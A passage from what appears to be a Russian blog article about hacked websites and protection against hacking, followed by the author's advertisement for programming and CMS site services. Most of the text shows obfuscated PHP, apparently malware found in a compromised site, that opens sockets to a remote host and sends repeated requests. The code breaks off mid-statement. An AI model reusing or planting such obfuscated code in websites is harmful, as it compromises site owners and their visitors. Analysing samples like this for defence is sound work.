);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x5f\x30\x4f\x30\x4f"]($O_O_O
O_000,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x5f\x4f\x5f\x30\x5f"
]($O_O_OO_000,$O__0O_0O0O);if(!$O0O00_O_O_){$O0O_00__OO=${"\x47\x4c\x4f\x42\x41\x4c\x5
3"}["\x4f\x5f\x4f\x4f\x5f\x5f\x4f\x30\x30\x30"]($O_O_OO_000);if(!$O0O_00__OO["\x74\x69
\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30
\x4f\x4f\x5f\x4f\x5f\x30\x30"]($O_O_OO_000)){$O0_O_0_0OO=${"\x47\x4c\x4f\x42\x41\x4c\x
53"}["\x4f\x5f\x30\x5f\x4f\x5f\x4f\x30\x4f\x30"]($O_O_OO_000);if($O0_O_0_0OO&&($O0_O_0
_0OO=="\\r\\n"||$O0_O_0_0OO=="\\n")){break;}unset($O0_O_0_0OO);}while(!${"\x47\x4c\x4f
\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x4f\x5f\x30\x30"]($O_O_OO_000)){$O_0O_O0O
0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x5f\x30\x30\x30\x4f"]($O_O_
OO_000,8192);$OOO0_0__0O.=$O_0O_O0O0_;unset($O_0O_O0O0_);}}unset($O0O_00__OO);}${"\x47
\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x5f\x5f\x30\x4f\x4f\x30"]($O_O_OO_000);}e
lse{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x5f\x4f\x30\x30\x4f"]($
O000__OO_O,-1)==\'e\'){$O_O_O000O_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30
\x5f\x30\x5f\x4f\x4f\x30"]($O0O0O__O0_);$O_O_OO_000=$O000__OO_O(AF_INET,SOCK_STREAM,0)
;if(socket_connect($O_O_OO_000,$O_O_O000O_,$O_O0O_O00_)){if(!$O0O00_O_O_){socket_write
($O_O_OO_000,$O__0O_0O0O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x4f\x
5f\x5f\x30\x4f"]($O__0O_0O0O));while($O_O0OO_00_=@socket_read($O_O_OO_000,8192)){$OOO0
_0__0O.=$O_O0OO_00_;unset($O_O0OO_00_);}$OOO0_0__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x4f\x5f\x30\x30\x4f\x4f\x5f\x4f\x30\x5f"]("\\r\\n\\r\\n",$OOO0_0__0O);${"\x47\x4c\x4
f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f\x30\x30\x5f\x30\x4f"]($OOO0_0__0O);$OOO0_0__
0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x5f\x4f\x30"]("\\r\
\n\\r\\n",$OOO0_0__0O);}else{$OO_0O0O0__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x
5f\x5f\x4f\x30\x4f\x30\x5f\x30"](2,5);$OO_O000_O_=0;while($OO_O000_O_<$OO_0O0O0__){soc
ket_write($O_O_OO_000,$O__0O_0O0O,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\
x4f\x4f\x5f\x5f\x30\x4f"]($O__0O_0O0O));$OO_O000_O_++;${"\x47\x4c\x4f\x42\x41\x4c\x53"
}["\x4f\x4f\x30\x4f\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\
x4f\x5f\x5f\x4f\x30\x4f\x30\x5f\x30"](50000,100000));}unset($OO_O000_O_,$OO_0O0O0__);}
}socket_close($O_O_OO_000);unset($O_O_O000O_);}}if($OOO0_0__0O==\'\'){if(${"\x47\x4c\x
4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f"](${"\x47\x4c\x4f\x42\x
41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x30\x5f\x4f\x30\x5f"]) and $url){$OOO0_0__0O=@${"\x
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.

тегистатьи IT, информационная безопасность, взлом сайтов, защита от взлома




Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Пересылка почты в телеграм на PHP
Программа "Background copy": Фоновое копирование файлов
Плавающий блок на сайт